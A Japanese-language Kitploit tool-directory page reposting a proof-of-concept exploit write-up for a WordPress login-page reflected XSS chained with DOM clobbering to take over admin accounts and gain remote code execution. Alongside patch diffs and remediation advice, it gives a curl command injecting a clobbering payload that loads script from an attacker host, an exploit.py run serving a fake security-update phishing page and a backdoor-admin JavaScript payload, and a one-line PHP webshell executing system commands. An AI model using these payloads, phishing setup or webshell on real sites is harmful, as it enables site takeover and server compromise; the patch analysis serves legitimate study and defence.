Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/dungsocool/cve-2026-64638
フィッシングツール脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペイロード開発
GitHubdungsocool/cve-2026-64638

CVE-2026-64638

CVE-2026-64638 の概念実証(PoC)エクスプロイト:WordPress ログインにおける反射型 XSS を DOM clobbering と連鎖させ、管理者アカウントの乗っ取りとリモートコード実行を達成します。

リポジトリを見る
12日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-64638

ログイン画面の反射型XSSによるPHPコード実行 — WordPress Core

ソフトウェア: WordPress Core ≤ 7.0.2(7.0.3より前の全バージョン)

CVSS: 8.9(高)

CWE: CWE-79 — ウェブページ生成時の入力の不適切な無害化

必要な認証: なし(事前認証)

ユーザー操作: あり(管理者がリンクを1回クリックする必要あり)

影響: XSS → アカウント乗っ取り → リモートコード実行


1. この脆弱性とは

WordPress は世界で最も人気のあるコンテンツ管理システムであり、インターネット上の全ウェブサイトの40%以上を占めています。すべての WordPress サイトには /wp-login.php にログインページがあります — これは認証なしで誰でもアクセスできる公開エンドポイントです。

ユーザーが誤ったユーザー名を入力すると、WordPress は入力されたユーザー名をそのまま含むエラーメッセージを表示します: 「ユーザー名 X はこのサイトに登録されていません。」 問題は、ユーザー名の値がエスケープ関数を一切通さずに HTML レスポンスに直接挿入されることです — 攻撃者は実在するユーザー名の代わりに HTML/JavaScript を入力するだけで、そのコードがブラウザで実行されます。

これは反射型 XSS の欠陥です — ペイロードはリクエストに含まれ、サーバーが HTML 内にそのまま反映します。危険なのは、この欠陥がログインページに存在することです — 管理者が頻繁にアクセスする場所であり、管理者のセッション Cookie を窃取できる場所です。

調査チームはさらに、この XSS が WordPress の emoji-loader における DOM clobbering 脆弱性と連鎖し、外部サーバーから JavaScript を読み込めることを発見しました。そこから攻撃者は新しい管理者アカウントを作成 → ウェブシェルを含むプラグインをインストール → サーバー上で PHP コードを実行できます。この攻撃チェーンは XSS2Shell と呼ばれます。

属性値
CVE IDCVE-2026-64638
CVSS スコア8.9(高)
ソフトウェアWordPress Core ≤ 7.0.2
認証不要(事前認証)
ユーザー操作クリック1回が必要(管理者がリンクをクリック)
攻撃複雑度高
パッチ適用済みWordPress 7.0.3(2026年6月8日)
報告者HackerOne 経由の pwn.ai チーム
HackerOne レポート#3877102

2. 用語解説

DOM Clobbering と emoji-loader

WordPress は emoji-loader.js ファイルを通じて、すべてのページ(ログインページを含む)で絵文字サポートを読み込みます。このスクリプトは id="wp-emoji-settings" を持つ要素から設定を読み取ります:

root@kitploit:~
// Before patch (vulnerable)
const settings = JSON.parse(
    document.getElementById('wp-emoji-settings').textContent
);

document.getElementById() は DOM 内で一致する id を持つ最初の要素を返します。攻撃者が元のスクリプトタグより前に <div id="wp-emoji-settings"> を注入した場合、getElementById は実際の設定ではなく攻撃者のコンテンツを読み取ります。この手法は DOM clobbering と呼ばれます — HTML 要素を注入して JavaScript の動作を上書きする手法です。

絵文字設定には JavaScript ファイルを読み込むための URL(concatemoji)が含まれています。攻撃者はこの URL を制御します → 外部サーバーから JS ファイルを読み込む → ブラウザコンテキスト内で任意のコードを実行します。

WordPress における XSS から RCE へ

管理者コンテキスト内での JavaScript 実行を達成すると、攻撃者は WordPress の完全な管理者権限を手に入れます:

  1. 新しい管理者アカウントを作成する — 管理者セッションで /wp-admin/user-new.php を呼び出す
  2. PHP コードを含むプラグインをインストールする — /wp-admin/plugin-install.php 経由でプラグインをアップロードする
  3. テーマファイルを変更する — テーマエディター経由で PHP バックドアを挿入する

上記3つの方法のいずれでも、サーバー上で PHP コードを実行できます — つまり RCE です。

3. ソースコード分析 — 根本原因

ステップ1: シンクの特定 — ユーザー名が HTML に挿入される場所

wordpress-develop の修正コミット 0d6d42e から、wp-includes/user.php ファイル内でユーザー名/メールアドレスがエラーメッセージに直接挿入される3箇所を特定しました:

root@kitploit:~
# View diff between vulnerable and patched versions
git diff 7.0.2..7.0.3 -- src/wp-includes/user.php

場所1 — 189行目(ユーザー名が存在しない場合):

修正前 :

root@kitploit:~
// BEFORE (vulnerable):
sprintf(
    __( 'The username <strong>%s</strong> is not registered...' ),
    $username      // ← no escaping
)

image.png

修正後 :

root@kitploit:~
// fixed:
sprintf(
    __( 'The username <strong>%s</strong> is not registered...' ),
    esc_html( $username )    // ← escaped
)

場所2 — 216行目(パスワードが誤っている場合):

修正前 :

image.png

root@kitploit:~
// BEFORE:
'<strong>' . $username . '</strong>'    // ← no escaping

修正後 :

root@kitploit:~
// AFTER:
'<strong>' . esc_html( $username ) . '</strong>'

場所3 — 299行目(メールアドレスのパスワードが誤っている場合):

修正前 :

image.png

root@kitploit:~
// BEFORE:
'<strong>' . $email . '</strong>'    // ← no escaping

修正後 :

root@kitploit:~
// AFTER:
'<strong>' . esc_html( $email ) . '</strong>'

ステップ2: ソースの追跡 — データはどこから来るのか

POST リクエストからエラーメッセージまでのデータフロー:

root@kitploit:~
$_POST['log']                           ← user input from login form
    ↓
wp_signon() [user.php:51]
    $credentials['user_login'] = wp_unslash($_POST['log'])     ← only removes backslashes
    ↓
wp_authenticate($username, $password) [pluggable.php:689]
    $username = sanitize_user($username)     ← strips HTML tags, but has a bypass
    ↓
wp_authenticate_username_password() [user.php:153]
    get_user_by('login', $username)          ← user not found
    ↓
    sprintf('The username <strong>%s</strong>...', $username)   ← XSS!
    ↓
WP_Error → login_header() → wp_admin_notice()
    wp_kses_post(...)     ← filters HTML but allows <div>, <a>,  through
    ↓
HTML response → browser render → JavaScript execute

ステップ3: 2つの防御層、弱点、デバッグによる確認

ユーザー名が HTML に到達するまでに、WordPress には2つのフィルタリング層があります:

層1: sanitize_user() — strip_tags() を呼び出して HTML タグを削除します。しかし、PHP の strip_tags() には既知の制限があり、標準的でないタグ形式でフィルターを回避できます。

層2: wp_kses_post() — <div>、<a>、`` など特定の属性を持つ安全な HTML のサブセットを許可します(ただし onerror や onload などのイベントハンドラは除去します)。重要なのは、wp_kses_post が <div id="wp-emoji-settings"> を許可することです — これは DOM clobbering に必要な要素そのものです。

pwn.ai チームは両方の層を回避して有用なペイロードを注入する方法を見つけました。具体的な技術的詳細は公開されていません。

Xdebug によるデバッグ — データフローの確認

ユーザー名がエスケープなしで HTML に直接入ることを視覚的に確認するため、Xdebug + VS Code を使用して実行チェーンの主要ポイントにブレークポイントを設定しました。

ステップ1 — ログインフォームに XSS ペイロードを入力:

http://localhost:8282/wp-login.php にアクセスし、ユーザー名として `` を入力して Log In をクリックします。アラートポップアップが表示されれば XSS が機能しています。

image.png

image.png

ステップ2 — user.php:184 にブレークポイント — XSS が発生する場所:

wp_authenticate_username_password() 関数内の return new WP_Error(...) にブレークポイントを設定します。デバッガーが停止したら、以下を確認します:

  • 変数 → ローカル パネル: $username = "" — HTML ペイロードがエスケープされずにそのまま
  • スーパーグローバル → $_POST パネル: log = "" — ペイロードがフォーム入力由来であることを確認
  • コールスタック パネル: wp_authenticate_username_password() → WP_Hook->apply_filters → apply_filters → wp_authenticate → wp_signon → {main} wp-login.php

image.png

$username の値は $_POST['log'] → wp_unslash() →(sanitize_user をバイパス)→ 186〜189行目のエラーメッセージへの sprintf() という経路をたどります — その間に esc_html() はありません。実験環境では、pwn.ai が発見したバイパスを再現するため sanitize_user() をコメントアウトしました。

ステップ3 — functions.php:9200 にブレークポイント — 最終出力:

echo wp_get_admin_notice( $message, $args ) にブレークポイントを設定します — これは HTML がブラウザに出力される直前の最終行です:

  • 変数 → ローカル パネル: $message = "<p><strong>Error:</strong> The username <strong></strong> is not registered...</p>" — ペイロードが HTML エラーメッセージ内にそのまま存在
  • 実験環境の9200行目には wp_kses_post() によるラップがありません(バイパス再現のため除去済み)ので、ペイロードはそのままブラウザに到達します

image.png

元の WordPress では、この行は echo wp_kses_post( wp_get_admin_notice(...) ) です — wp_kses_post() は onerror 属性を除去しますが、<div> は許可リストに含まれるため <div id="wp-emoji-settings"> は通過させます。これこそ DOM clobbering 攻撃の正確なベクターです。

ステップ4: 2つ目の修正コミット — emoji-loader の強化

コミット a12c8f5 は emoji-loader.js を変更して DOM clobbering をブロックします:

root@kitploit:~
// BEFORE (vulnerable): accepts any element with a matching id
const settings = JSON.parse(
    document.getElementById('wp-emoji-settings').textContent
);

// AFTER (fixed): only accepts <script> element
const selector = 'script#wp-emoji-settings';
const script = document.querySelector(selector);
if (!(script instanceof HTMLScriptElement)) {
    throw new Error(`Element missing:${selector}`);
}
const settings = JSON.parse(script.text);

この修正は3つの点を変更します:

  1. getElementById の代わりに querySelector('script#...') を使用 — <script> タグのみに一致します
  2. instanceof HTMLScriptElement をチェック — <div> や `` による DOM clobbering を防止します
  3. .textContent の代わりに .text を使用 — .text は HTMLScriptElement 固有のプロパティです

修正後は、攻撃者が <div id="wp-emoji-settings"> を注入しても、emoji-loader は <script> 要素ではないためそれを無視します。

4. 攻撃チェーン — XSS2Shell

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│  ATTACKER                                                       │
│  Creates phishing link containing XSS payload                   │
│  POST /wp-login.php with log=<div id="wp-emoji-settings">       │
│  {"source":{"concatemoji":"https://evil.com/rce.js"}}           │
└────────────────────────┬────────────────────────────────────────┘
                         │ Sends link to admin (email, chat, etc.)
                         ▼
┌─────────────────────────────────────────────────────────────────┐
│  ADMIN CLICKS LINK                                              │
│  Browser POSTs to /wp-login.php → server reflects payload       │
│  → <div id="wp-emoji-settings"> appears in HTML                 │
└────────────────────────┬────────────────────────────────────────┘
                         │ emoji-loader.js executes
                         ▼
┌─────────────────────────────────────────────────────────────────┐
│  DOM CLOBBERING                                                 │
│  getElementById('wp-emoji-settings') → returns attacker div     │
│  JSON.parse(div.textContent) → reads fake configuration         │
│  Loads script from https://evil.com/rce.js                      │
└────────────────────────┬────────────────────────────────────────┘
                         │ JS executes in admin context
                         ▼
┌─────────────────────────────────────────────────────────────────┐
│  ACCOUNT TAKEOVER + RCE                                         │
│  1. Fetch /wp-admin/user-new.php → get nonce                    │
│  2. POST create new admin account (backdoor)                    │
│  3. Login using backdoor account                                │
│  4. Install plugin containing PHP webshell                      │
│  5. Call webshell → RCE on server                               │
└─────────────────────────────────────────────────────────────────┘

5. POC — ラボでの再現

5.1 エンドポイントの確認 — 基本的な XSS

http://localhost:8282/wp-login.php にアクセスし、以下を入力します:

  • ユーザー名: ``
  • パスワード: 任意

Log In をクリックします。「localhost」と表示されるアラートポップアップが表示されれば XSS が機能しています。

結果 — ペイロードが HTML 内にそのまま反映されます:

image.png

5.2 DOM Clobbering — 偽の絵文字設定を注入

より複雑なペイロード — 攻撃者の JS ファイルを指す JSON を含む id="wp-emoji-settings" の <div> を注入します:

image.png

root@kitploit:~
# Payload: inject div clobber emoji-settings
PAYLOAD='<div id="wp-emoji-settings">{"source":{"concatemoji":"http://ATTACKER_IP:9999/evil.js"},"readyCallback":null}</div>'

curl -s -b /tmp/wp-cookies.txt -X POST "http://localhost:8282/wp-login.php" \
  --data-urlencode "log=${PAYLOAD}" \
  -d '&pwd=test&wp-submit=Log+In&testcookie=1' \
  | grep "wp-emoji-settings"

HTML 出力に攻撃者の JSON を含む <div id="wp-emoji-settings"> が含まれていれば、emoji-loader は攻撃者サーバーから JS を読み込みます。

5.3 フルチェーン — exploit.py による XSS2Shell

ステップ1: エクスプロイトサーバーを起動

root@kitploit:~
python exploit.py --target http://localhost:8282 --lhost 127.0.0.1 --lport 9999

スクリプト exploit.py は2つのものを提供します:

  • http://127.0.0.1:9999/phish.html — WordPress セキュリティ更新を装ったフィッシングページ
  • http://127.0.0.1:9999/evil.js — バックドア管理者アカウントを作成する JS ペイロード

ステップ2: 管理者がフィッシングリンクをクリック

攻撃者はリンク http://127.0.0.1:9999/phish.html をメール/チャットで管理者に送信します。管理者がクリックすると:

  1. フィッシングページが XSS ペイロードを含むユーザー名で /wp-login.php に自動 POST します
  2. ログインページがレンダリングされ、HTML 内に <div id="wp-emoji-settings"> が出現します
  3. emoji-loader.js が偽の div を読み取り、攻撃者サーバーから evil.js を読み込みます
  4. evil.js が管理者のブラウザで実行され、nonce 取得のため /wp-admin/user-new.php をフェッチし、アカウント backdoor_xss2shell / Pwn3d!XSS2Shell を作成します

image.png

このプロセス全体は自動的に行われます。管理者には「ユーザー名が見つかりません」という通常のログインページしか見えません。

ステップ3: 攻撃者がログインしてウェブシェルをアップロード

実験環境では、管理者がすでに admin / admin123 でログインしていたため、evil.js は即座に実行されました。アカウントへのアクセスを獲得した後、プラグイン経由ですぐにウェブシェルをアップロードしました:

image.png

root@kitploit:~
<?phpif(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>

ステップ4: RCE — サーバー上でコマンドを実行

image.png

image.png

出力は www-data を返しました — 攻撃者はサーバー上でコマンド実行権限を獲得しました。

6. 深刻度と影響

実世界への影響

  • WordPress 7.0.3 より前のすべての WordPress バージョンに影響
  • /wp-login.php エンドポイントは常に公開されており、隠すことはできません(ログイン URL を変更するプラグインを使用しない限り)
  • ログインページはフィッシングの自然な標的です — 管理者はログインページへのリンクをクリックすることに慣れています
  • エクスプロイトチェーン XSS → DOM Clobbering → 管理者乗っ取り → RCE は、管理者による1クリック以外に特別な条件を必要としません
  • RCE への連鎖がなくても、ログインページの XSS はセッション Cookie の窃取(HttpOnly が適切に設定されていない場合)や認証情報のフィッシングを可能にします

7. 修復策

WordPress 7.0.3 でパッチ適用済み

修正1 — 出力のエスケープ(user.php):

root@kitploit:~
// Add esc_html() to everywhere username/email appears in error messages
esc_html( $username )
esc_html( $email )

修正2 — emoji-loader の強化(emoji-loader.js):

root@kitploit:~
// Only accept <script> element, do not accept <div> or other elements
const script = document.querySelector('script#wp-emoji-settings');
if (!(script instanceof HTMLScriptElement)) {
    throw new Error('Element missing');
}

修正3 — URL のエスケープ(wp-login.php):

root@kitploit:~
// Add esc_url() for wp_login_url() in registration messages
esc_url( wp_login_url() )

WordPress 管理者が行うべきこと

  1. 直ちに WordPress 7.0.3 に更新する — パッチは2026年6月8日にリリース済み
  2. 古いバージョン(6.x、5.x、4.7+)を使用している場合、WordPress は修正をバックポート済み
  3. アクセスログを確認する: log パラメータに HTML ペイロードを含む /wp-login.php への POST リクエストを探す
  4. WAF ルールを使用してログインフォームフィールドの HTML タグをブロックすることを検討する
  5. 管理者ユーザーのリストを確認する — 不明なアカウントが見つかった場合、サイトが侵害されている可能性があります

開発者への教訓

  1. 常に出力をエスケープし、入力のサニタイズのみに依存しないこと。 sanitize_user() はユーザー名の正規化を目的としており、XSS を防ぐものではありません。多層防御: 出力時点でのエスケープ(esc_html、esc_attr、esc_url)が最後かつ最も重要な防御層です。
  2. セキュリティ上重要なデータに getElementById を使用しないこと。 DOM clobbering は同じ id を持つ偽の要素を注入できます。タグ名を指定した querySelector と instanceof チェックを使用してください。
  3. wp_kses_post は XSS フィルターではありません。 これは投稿コンテンツ内で安全な HTML を許可するために設計されたものであり、他のコンテキストでの XSS をブロックするものではありません。各コンテキストには専用のエスケープ関数が必要です。
ツールをダウンロード
CVSS メトリクス値理由
攻撃経路ネットワークHTTP 経由で、被害者にリンクを送信
攻撃複雑度高sanitize_user() と wp_kses_post() のバイパスが必要、被害者のクリックが必要
必要な特権なしログインエンドポイントは認証を必要としない
ユーザー操作あり管理者がフィッシングリンクをクリックする必要がある
機密性への影響高Cookie、セッション、管理パネルの内容を読み取る
完全性への影響高管理者アカウントの作成、プラグインのインストール、ファイルの変更
可用性への影響高RCE → サーバーの完全な制御